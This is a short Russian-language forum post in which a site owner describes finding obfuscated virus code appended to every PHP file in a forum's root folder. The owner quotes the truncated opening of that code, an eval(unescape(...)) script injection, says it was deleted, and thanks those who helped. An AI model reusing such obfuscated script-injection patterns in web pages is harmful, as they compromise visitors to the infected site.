Дело решил так: в корневой папке форума во всех пхп файлах в конце кода добавился код вируса... начинался он так: <!-- [ 75e2d43649934e330eb179ccbf91445a ] --><script>eval(unescape('function%20gGYuu%28hAI%29%7Bfunction%20oJHWp%28hEIh%29%7Bvar%20tXXEPU%3D0%3Bvar%20hReZ%3 и так далее.... довольно большой кусок... Удалил, и все работает

Всем кто помогал - спасибо!
Вчера - это история. Завтра - тайна. Настоящее - это дар. Жизнь есть волшебство, и вкус каждого момента неповторим
Психологическое консультирование и тренинги (Киев) -
http://www.metapsy.org.ua/